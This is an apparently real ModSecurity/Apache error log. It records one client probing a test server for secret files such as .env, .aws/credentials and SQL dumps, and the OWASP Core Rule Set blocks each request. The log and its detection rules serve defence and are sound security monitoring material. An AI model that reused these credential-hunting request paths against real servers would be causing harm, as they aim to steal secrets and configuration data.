[Sun Jun 29 20:24:13.843679 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VBAAAAAs&quot;]
[Sun Jun 29 20:24:13.843923 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VBAAAAAs&quot;]
[Sun Jun 29 20:24:13.844121 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VBAAAAAs&quot;]
[Sun Jun 29 20:24:13.937370 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/db.sql&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VCAAAAAs&quot;]
[Sun Jun 29 20:24:13.937733 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/db.sql&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VCAAAAAs&quot;]
[Sun Jun 29 20:24:13.937930 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/db.sql&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VCAAAAAs&quot;]
[Sun Jun 29 20:24:13.960448 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/db_dump.sql&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VCQAAAAs&quot;]
[Sun Jun 29 20:24:13.960802 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/db_dump.sql&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VCQAAAAs&quot;]
[Sun Jun 29 20:24:13.961001 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/db_dump.sql&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VCQAAAAs&quot;]
[Sun Jun 29 20:24:13.983803 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/error.log&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VCgAAAAs&quot;]
[Sun Jun 29 20:24:13.984153 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/error.log&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VCgAAAAs&quot;]
[Sun Jun 29 20:24:13.984361 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/error.log&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VCgAAAAs&quot;]
[Sun Jun 29 20:24:19.053320 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vault/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vault/.env&quot;] [unique_id &quot;aGGE098ZUWE-JFfvKe2VEQAAAAs&quot;]
[Sun Jun 29 20:24:19.053561 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vault/.env&quot;] [unique_id &quot;aGGE098ZUWE-JFfvKe2VEQAAAAs&quot;]
[Sun Jun 29 20:24:19.053744 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vault/.env&quot;] [unique_id &quot;aGGE098ZUWE-JFfvKe2VEQAAAAs&quot;]
[Sun Jun 29 20:24:19.102897 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /vendor/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/config&quot;] [unique_id &quot;aGGE098ZUWE-JFfvKe2VEwAAAAs&quot;]
[Sun Jun 29 20:24:19.103147 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/config&quot;] [unique_id &quot;aGGE098ZUWE-JFfvKe2VEwAAAAs&quot;]
[Sun Jun 29 20:24:19.103333 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/config&quot;] [unique_id &quot;aGGE098ZUWE-JFfvKe2VEwAAAAs&quot;]
[Sun Jun 29 20:24:19.144237 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /vendor/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/credentials&quot;] [unique_id &quot;aGGE098ZUWE-JFfvKe2VFAAAAAs&quot;]
[Sun Jun 29 20:24:19.144485 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/credentials&quot;] [unique_id &quot;aGGE098ZUWE-JFfvKe2VFAAAAAs&quot;]
[Sun Jun 29 20:24:19.144684 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.aws/credentials&quot;] [unique_id &quot;aGGE098ZUWE-JFfvKe2VFAAAAAs&quot;]
[Sun Jun 29 20:24:22.994278 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aGGE1t8ZUWE-JFfvKe2VFwAAAAs&quot;]
[Sun Jun 29 20:24:22.994559 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aGGE1t8ZUWE-JFfvKe2VFwAAAAs&quot;]
[Sun Jun 29 20:24:22.994754 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aGGE1t8ZUWE-JFfvKe2VFwAAAAs&quot;]
[Sun Jun 29 20:24:23.017122 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/aws/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/aws/.env&quot;] [unique_id &quot;aGGE198ZUWE-JFfvKe2VGAAAAAs&quot;]
[Sun Jun 29 20:24:23.017356 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/aws/.env&quot;] [unique_id &quot;aGGE198ZUWE-JFfvKe2VGAAAAAs&quot;]
[Sun Jun 29 20:24:23.017538 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/aws/.env&quot;] [unique_id &quot;aGGE198ZUWE-JFfvKe2VGAAAAAs&quot;]
[Sun Jun 29 20:24:23.179933 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aGGE198ZUWE-JFfvKe2VHgAAAAs&quot;]
[Sun Jun 29 20:24:23.180170 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aGGE198ZUWE-JFfvKe2VHgAAAAs&quot;]
[Sun Jun 29 20:24:23.180371 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aGGE198ZUWE-JFfvKe2VHgAAAAs&quot;]
[Sun Jun 29 20:24:27.818237 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri 